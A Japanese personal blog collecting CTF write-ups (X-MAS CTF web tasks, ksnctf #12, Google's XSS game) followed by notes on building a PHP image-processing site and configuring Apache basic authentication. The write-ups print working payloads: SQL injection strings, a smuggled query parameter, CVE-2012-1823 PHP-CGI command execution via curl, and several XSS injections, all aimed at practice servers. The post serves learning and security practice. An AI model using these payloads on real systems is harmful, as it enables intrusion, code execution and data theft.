備忘録なるもの

X-masCTFのWriteUp

こんにちは。グレープ粗茶です。今回は、x-masCTFに参加しました。

[web]Sequel Fun

Sequel Fun 25 Points SOLVED  So I found this login page, but I forgot the credentials :(

Remote server: http://challs.xmas.htsp.ro:11006 Author: Milkdrop

貼り付け元 https://xmas.htsp.ro/challenges?category=web-exploitation

この問題では、まずchromeなどのデベロッパツールからhtmlのソースを閲覧すると、サーバーサイドのソースを見る方法が記されている。

index.php

 <?php
if (isset ($_GET['source'])) {
  show_source ("index.php");
  die ();
}
?>

<head>
  <link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
<div class="container">

<?php
include ("config.php");
if (isset ($_GET['user']) && isset ($_GET['pass'])) {
  $user = $_GET['user'];
  $pass = $_GET['pass'];
  if (strpos ($user, '1') === false && strpos ($pass, '1') === false) {
    $conn = new mysqli ($servername, $username, $password, $dbname);
    $result = mysqli_query ($conn, "SELECT * FROM users WHERE user='" . $user . "' AND pass='" . $pass . "'", MYSQLI_STORE_RESULT); // TO-DO: Remove elf:elf account

    if ($result === false) {
      echo "<b>Our servers have run into a query error. Please try again later.</b>";
    } else {
      if ($result->num_rows !== 0) {
        $row = mysqli_fetch_array ($result, MYSQLI_ASSOC);

        echo "<h1>You are logged in as: " . $row["user"] . "</h1><br>";

        echo "<b class='flag'>";
        if ($row ["uid"] === "0")
          echo $flag;
        else
          echo "Welcome elf!";
        echo "</b>";

      } else {
        echo "<b>Login fail.</b>";
      }
    }
  } else {
    echo "<b>I don't like the number 1 :(</b>";
  }
} else {
  echo '<form class="center">
    <h1>Santa Login:</h1>
    <label>Username:</label> <input type="text" name="user" autocomplete="off"><br>
    <label>Password:</label> <input type="password" name="pass" autocomplete="off"><br>
    <input type="submit" value="Connect">
  </form>';
}
?>

</div>
<br>

<script src="/js/snow.js"></script>

<!-- ?source=1 -->

</body>

貼り付け元  <http://challs.xmas.htsp.ro:11006/?source

 これらから、SQLを操作しているソースであることが確認でき、sqlinjectionの問題と判断する。

   "SELECT * FROM users WHERE user='" . $user . "' AND pass='" . $pass . "'", 

シングルコーテーションの数が合うように設定すると、ペイロードは、
?user=aa&pass=aa' OR 'a'='a となる。

[web]Roboworld 

Roboworld 50 Points SOLVED  A friend of mine told me about this website where I can find secret cool stuff. He even managed to leak a part of the source code for me, but when I try to login it always fails :(

Can you figure out what's wrong and access the secret files?

Remote server: http://challs.xmas.htsp.ro:11000 Files: leak.py Author: Reda

貼り付け元 https://xmas.htsp.ro/challenges?category=web-exploitation

leak.py

from flask import Flask, render_template, request, session, redirect
import os
import requests
from captcha import verifyCaptchaValue
app = Flask(__name__)
@app.route('/')
def index():
    return render_template("index.html")
@app.route('/login', methods=['POST'])
def login():
    username = request.form.get('user')
    password = request.form.get('pass')
    captchaToken = request.form.get('captcha_verification_value')
privKey = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" #redacted
    r = requests.get('http://127.0.0.1:{}/captchaVerify?captchaUserValue={}&privateKey={}'.format(str(port), captchaToken, privKey))
    #backdoored ;)))
    if username == "backd00r" and password == "catsrcool" and r.content == b'allow':
        session['logged'] = True
        return redirect('//redacted//')
    else:
        return "login failed"
@app.route('/captchaVerify')
def captchaVerify():
    #only 127.0.0.1 has access
    if request.remote_addr != "127.0.0.1":
        return "Access denied"
token = request.args.get('captchaUserValue')
    privKey = request.args.get('privateKey')
    #TODO: remove debugging privkey for testing: 8EE86735658A9CE426EAF4E26BB0450E from captcha verification system
    if(verifyCaptchaValue(token, privKey)):
        return str("allow")
    else:
        return str("deny")

index.html

<head>
    <script>
        function captchaGenerateVerificationValue()
        {
            //Devnote:
            //Oops I broke the captcha verification function
            //so it will just generate random stuff for the verification value
            //hope no one notices :O

            var characters       = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
            var charactersLength = characters.length;
            result = ""
            for ( var i = 0; i < 10; i++ ) {
                result += characters.charAt(Math.floor(Math.random() * charactersLength));
            }

            document.getElementById("captcha").value = result
        }
    </script>
</head>

Login:

<form method="post" action="/login">
    Username: <input type="text" name="user" /><br>
    Password: <input type="password" name="pass" /><br>
    Captcha: <input id="captcha" onchange="captchaGenerateVerificationValue()" type="checkbox" name="captcha_verification_value" value="" /> I am not a robot <br>
    <input type="submit" value="Login" /><br>

認証サイトのバイパス方法

leak.pyの認証処理内にはif文が三つあり、これらを抜ける必要がある。

  1. 検索しているとどうやら何をしても127.0.0.1と解釈してしまう事象が発生してしまうようだった。 (※引用) 試しにしたのURLへとアクセスしてみると、'deny'と表示される。 これはleak.py一つ目のif文をすでに通過している事が分かる。 http://challs.xmas.htsp.ro:11000/captchaVerify

  2. Leak.pyに記述されているデバック用のプライベートキーを利用して先ほどのサイトにゲットパラメータとして送信してみる。 http://challs.xmas.htsp.ro:11000/captchaVerify?privateKey=8EE86735658A9CE426EAF4E26BB0450E

すると、'allow'が返ってくる。

解答ペイロード

まずleak.py内で認証サイトにアクセスするのは以下の文となる。

      r = requests.get('http://127.0.0.1:{}/captchaVerify?captchaUserValue={}&privateKey={}'.format(str(port), captchaToken, privKey))

確認としてユーザがブラウザから値を指定できるのはchapchaToken,のみとなる。

つまり、このcapchaToken内に"デバッグ用のprivateKey"を指定してあげればよい。

なので、ブラウザのデベロッパもしくはburp suite,などのプロキシツールを利用して、capchaTokenが代入される"capcha_verification_value"内に攻撃文を入れる。
つまり

     Value="&privateKey=8EE86735658A9CE426EAF4E26BB0450E#"

とすれば、最終的にprivatekeyが理想の場所に入ってくれる。f:id:grapesoda204:20191221205055p:plain 注意点(´;ω;`)

問題を解くことに集中してケアレスミスしないでね(自戒)

上のペイロードと一緒にusernameとpassも指定しないとログインできません。

backdoored ;))) if username == "backd00r" and password == "catsrcool" and r.content == b'allow':

これでログインすると、フラグが記載された動画を閲覧することができます。

一番最初dirbなどで探そうとしたのはダメでした。 ディレクトリ名が"単語_ランダムな文字列"で構成されてました(笑)

以降解けなかった問題

[web]Execute No Evil 50 Points

2 hours, 54 minutes, 56 seconds remaining (1) New Message: "Hey dude. So we have this database system at work and I just found an SQL injection point. I quickly fixed it by commenting out all the user input in the query. Don't worry, I made the query so that it responds with boss's profile, since he is kind of the only person actively using this database system, and he always looks up his own name, lol. Anyway, guess we'll go with this til' the sysadmin comes and fixes the issue."

Huh, so hear no evil, see no evil, ... execute no evil?

Remote server: http://challs.xmas.htsp.ro:11002 Author: Milkdrop

貼り付け元 https://xmas.htsp.ro/challenges?category=web-exploitation

こちらも?Source=1と入力することでソースファイルを閲覧することができた。 しかしながら、getで名前を受け取るもそれをすべてコメントアウトしているという状況であった。 これをどう回避するのか全く分からなかった

(追伸) writeup曰く、mysqlにはコメントを用いてバージョンの場合分けを書けるらしい。

dev.mysql.com

図作成

いままでフローチャートなどを作ったことが無かったので、試しに作ってみました。   www.draw.io

ksnctf #12 writeup

こんにちは。グレープ粗茶です。 今回は、ksnctf problem12 web問題を解きました。

Hypertext Preprocessor

f:id:grapesoda204:20190924152933p:plain http://ctfq.sweetduet.info:10080/~q12/

まず一目見たところでは、怪しいところはなさそうだった。(見た目は怪しそうだが…)

次に、chromeのdevツールで見たところも怪しいところは特になかった。 そして、時計であるが、上位10けったが謎であった。 その後に色々調べていくと、このはっけたは脆弱性報告のCVE-2012-1823のことであることが分かった。

CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823) | 徳丸浩の日記 一番上に徳丸さんがヒットしました!

詳細を見ていくと、cgiファイルの脆弱性であり、ソースコードを見れたりUNIXコマンドを実行できるようだった。

まず、コマンドラインオプションの-sを使用する。これでソースコードが閲覧できる。

<?php

    //  Flag is in this directory.

    date_default_timezone_set('UTC');
    
    $t = '2012:1823:20:';
    $t .= date('y:m:d:H:i:s');
    for($i=0;$i<4;$i++)
        $t .= sprintf(':%02d',mt_rand(0,59));
?>
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>Clock</title>
    <style>
      body
      {
        background: black;
      }
      p
      {
        color: red;
        font-size: xx-large;
        font-weight: bold;
        text-align: center;
        margin-top: 200px;
      }
    </style>
  </head>
  <body>
    <p><?php echo $t; ?></p>
  </body>
</html>

コメントでディレクトリにフラグが隠されているであることが分かった。

includeするファイルをURL指定でリモートから読み出すことを許可するものです。2番目のディレクティブは、PHP実行に先立ち、スクリプトをincludeしておくものですが、ファイル名としてphp://inputを指定しているため、POSTパラメータとして送信した内容をPHPスクリプトとして実行します。 (CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823) | 徳丸浩の日記

これよりcurlディレクトリを探す。

/Downloads# curl "http://ctfq.sweetduet.info:10080/~q12/?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input" -X POST -d "<?php system('ls'); ?>"
flag_flag_flag.txt
index.php
php.cgi
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>Clock</title>
    <style>
      body
      {
        background: black;
      }
      p
      {
        color: red;
        font-size: xx-large;
        font-weight: bold;
        text-align: center;
        margin-top: 200px;
      }
    </style>
  </head>
  <body>
    <p>2012:1823:20:19:09:17:12:09:53:48:03:15:54</p>
  </body>
</html>

これよりディレクトリ内にflag_flag_flag.txtというフラグらしきテキストファイルが存在している事が分かった。 これで、catコマンドを用いて表示する。

curl "http://ctfq.sweetduet.info:10080/~q12/?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input" -X POST -d "<?php system('cat flag_flag_flag.txt'); ?>"
FLAG_ZysbiGgbHrN3f9zs
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>Clock</title>
    <style>
      body
      {
        background: black;
      }
      p
      {
        color: red;
        font-size: xx-large;
        font-weight: bold;
        text-align: center;
        margin-top: 200px;
      }
    </style>
  </head>
  <body>
    <p>2012:1823:20:19:09:17:12:22:11:55:25:12:33</p>
  </body>
</html>

これでフラグが得られた。

XSS game(google製) writeup

どうもこんにちは。グレープ粗茶 です。 ctfやweb系に関心を持っています。 今回は、CTFweb問の一つのxssをやりました。

※記事に間違いがありましたら、コメントでのご指摘お願いします。

writeup

https://xss-game.appspot.com/

上記のサイトでXSSの問題を解くことができる。 この記事では、xss初心者の記録用として残してみる。また、今回はかなりヒントを利用しています(´;ω;`)

このサイトでは、javascriptの一つのアラートを動作させることが課題となっている。

Level 1:Hello, world of XSS

f:id:grapesoda204:20190809234335p:plain
level1

まずhint2において<h1>?とある。 ここでh1タグを利用して、文字を入力するとタグが適用されている事が分かる。

そこで<script>を利用して、そのままalert("a")を入力すれば正解となる。 正解は

<script>alert("aa")</script>

f:id:grapesoda204:20190809234801p:plain
h1タグ利用

Level2: Persistence is key

f:id:grapesoda204:20190809235321p:plain hint3を見るとonerrorという単語がある。 これは、imgタグでのエラー処理に使われる属性であった。また、ここにjavascriptを適用することができるらしい。

onerror="alert('a');"と埋めれば正解になった。またエラー処理をさせる必要があるためsrc属性も必要であると思う。 正解は

<img src=" " onerror="script="alert('a');">

Level3:That sinking feeling...

f:id:grapesoda204:20190810002217p:plain
level3

今回の問題では、ソースコードを参考にする必要があった。 主に重要となるのは下記の部分であった。

 
var html = "Image " + parseInt(num) + "<br>";
        html += "<img src='/static/level3/cloud" + num + ".jpg' />";
        $('#tabContent').html(html);
 

表示したい画像の番号がnumに入り、その画像を動的に表示を切り替えるという物であった。 このhtmlという変数の中に、<script>タグを代入することでalertできると仮定して実行したら正解となった。

https://xss-game.appspot.com/level3/frame#3.jpg'/><script> alert('XSS') </script>

[:contents]

Level 4: Context matters

f:id:grapesoda204:20190810075524p:plain

こちらの問題も上記と同じように文字列で押し出すようにするとよい。

onload="startTimer('{{ timer }}');"

上記の部分でjavascriptを使え、またtimerが直接代入されている。 まず、onloadの再集計を考える。

onload="startTimer('3');alert('3');"

とすればよい。 これより入力部分には、

3');alert('3

とすれば正解であった。

Level 5: Breaking protocol

f:id:grapesoda204:20190810082334p:plain

今回の問題では、hrefの中身にjavascriptを記述することができる事を知る必要があった。 その際に以下のサイトを参考にした。 hrefの中にjavascript:関数 とすれば実行できるという。

<a href="javascript:(ここにスクリプトを記述)">クリック</a> http://www.shurey.com/js/samples/0_bsc2.html

よって正解は、

https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('s')

Level 6: Follow the

f:id:grapesoda204:20190810091315p:plain 正直問題の意図も何もわからなかった。 ヒントを参考にするとgoogle.com/jaspi?callback=fooとある。

これを調べるとGoogle Libraries APIというgoogleが提供しているjavascriptライブラリであることが分かった。 また、callbackの後にalertと入れれば実行できるらしい。 しかしながら、下記のようにしても実行できない。

https://xss-game.appspot.com/level6/frame#https://google.com/jsapi?callback=alert

これはurlにhttpが含まれると条件分岐に入ってしまい、終了させられるところに原因がある。

if (url.match(/^https?:\/\//)) {
 setInnerText(document.getElementById("log"),
 "Sorry, cannot load a URL containing \"http\".");
 return;
}

これより最終的にはhttpを省略して下記のようにすれば正解となった。

https://xss-game.appspot.com/level6/frame#//www.google.com/jsapi?callback=alert

画像処理を行うWEBサービス開発

自己紹介

初めましてだと思います。 グレープ粗茶(twitter)という者です。四月から大学二年のものです。

今回初めてweb開発を行いました。

作ったもの

令和元年の目標を、書初め的に文字を書いてそれをtwitterに投稿できるものです。

f:id:grapesoda204:20190402194128p:plain

 なぜつくったのか

 

僕が今回このサイトを作った理由は、春休みにphpを勉強したいと思っていたのですが、いまいちやる気がうまく出なかったためです。そこで、何か作ることを目標としてやる気を出させた結果です。

次に

このサイトを実現するのに必要な技術を考えることにしました。

必要な技術

などでした。

今回は時間の関係上、css の勉強を省くためにmateriad design bootstrap というフレームワークを用いることにした。

cssに関しては、春休み最後にに基本的な部分は勉強した。

htmlの基本構文などはネットである程度調べることで理解することができた。

phpに関してはを用いて基本的な部分を学んだ。

基本を踏まえて、今回のサイトを実装する上で最も重要であるのは画像処理であった。

 

画像処理についてはここにまとめた。

[難しかった部分・未だ抱えるアルゴリズム的な欠陥]

 

[難しかった部分]

 

画像のデザインをすでに決めており、何も気にせずに文字を導入すると画像をスルーしてひたすら文字が入力されて行ってしまうことを知った。

この問題を解決するには。文字数がデザインの部分を超えそうになったら改行することを求めなくてはならない。今回の画像はFULLHDで実装しており、横の幅が1920pxである。

この白紙の白い部分の幅を1610pxぐらいであると想定した。


文字挿入のアルゴリズム

今回文字をデザインに挿入するにあたって、入力された文字列をすべて一文字ずつに配列に分解してから作業を行うことにした。その理由としては、

Imagick::queryFontMetrics

貼り付け元  <https://www.php.net/manual/ja/imagick.queryfontmetrics.php>

を用いるためである。

この返り値であるORIGINXを用いる。これは文字列の幅の値を示しいる。これで文字を一つ一つfor文で文字を挿入していき次文字を入力したら幅を超えるようであるなら、開業するようにした。

 

限界として、文字のフォントサイズを変更せずに文字を入力できるのは二行であることが分かった。 (それ以上入れると文字を開業して画面買いに文字が出て行ってしまう。)

このため、下にも幅を想定してそこを超えたら文字のフォントサイズを小さくなるように変更を加えた。

この変更を行うことによってアルゴリズム内に大きなwhile(1)で囲う必要が出てしまい、その場合の時間が多大にかかるようになってしまった。(欠陥)

 

 

今のところ、とりあえずこのサイトの改善は保留している

 

[改善案と反省]

現在のこの欠陥の解決策として、入力できる文字列を制限することを考えている。phpでも実装は可能であるが 

できればjavascript,を用いて実装したいと思っている。

また、扱う画像が大きすぎたと後に後悔した。なぜfullHDにしてしまったのだろうか。HDでも十分でしょうに。。。。。

conohaVPS でphpを用いた画像処理

imagemagick を用いる

 できる事 

  • 画像処理
  • フォント合成など

Conoha VPS centos LAMP環境アプリケーションを用いて導入を試みた。

「問題」

なぜか現行バージョンのファイルと過去のバージョンのファイルが存在している。そのため、以前のバージョンと競合するためインストールが不可能といわれた

[解決策]

このため最初からphpが入っている状態であったが、一部抜くのが面倒くさくなり、phpを全部アンインストールすることにした。

qiita.com

最新版のphpの導入は調べれば出てくる。(上記は参考)

 

 

Imagemagickの使用例

www.dctweb.jp

apacheにベーシック認証をいれる

 

apacheにベーシック認証を導入するには簡潔に説明すると、

.htaccessと.htpasswdというファイルを作成すれば完成する。

 

.htaccessとは

ディレクトリ毎にアクセス制御を行うときに用いる

設定項目は最低限四つある

 AuthUserfile フルパスで.htpasswdを指定

AuthName 認証画面で表示されるもの

AuthType Basic

rewuire valid-user

入力例

AuthType Basic
AuthName "test"
AuthUserFile /home/ユーザー(隠し/myweb/.htpasswd
require valid-user

 

.htpasswdとは

.htaccessで制御を行う際に用いる、ユーザ名とパスワードを記録しておく場所

 $ sudo htpasswd -b .htpasswd hoge hoge
Adding password for user hoge
$ cat .htpasswd
hoge:$apr1$FsLGwzTp$iPrQgdZvJyR2OEPKVbKI./

 オプションでハッシュをかけることもできる

 ((((http://www.slogical.co.jp/tech/apache_htpasswd.html))))

apacheは/var/www/html パスを/localhostとしてアクセスできる

導入の仕方

例えば/www/html/ex/.htaccess と上のファイルを置いた場合、exというディレクトリ以下に対してベーシック認証が適用化される。

つまり/var/www/htmlではベーシック認証は適用化されない。

 PS

 

qiita.com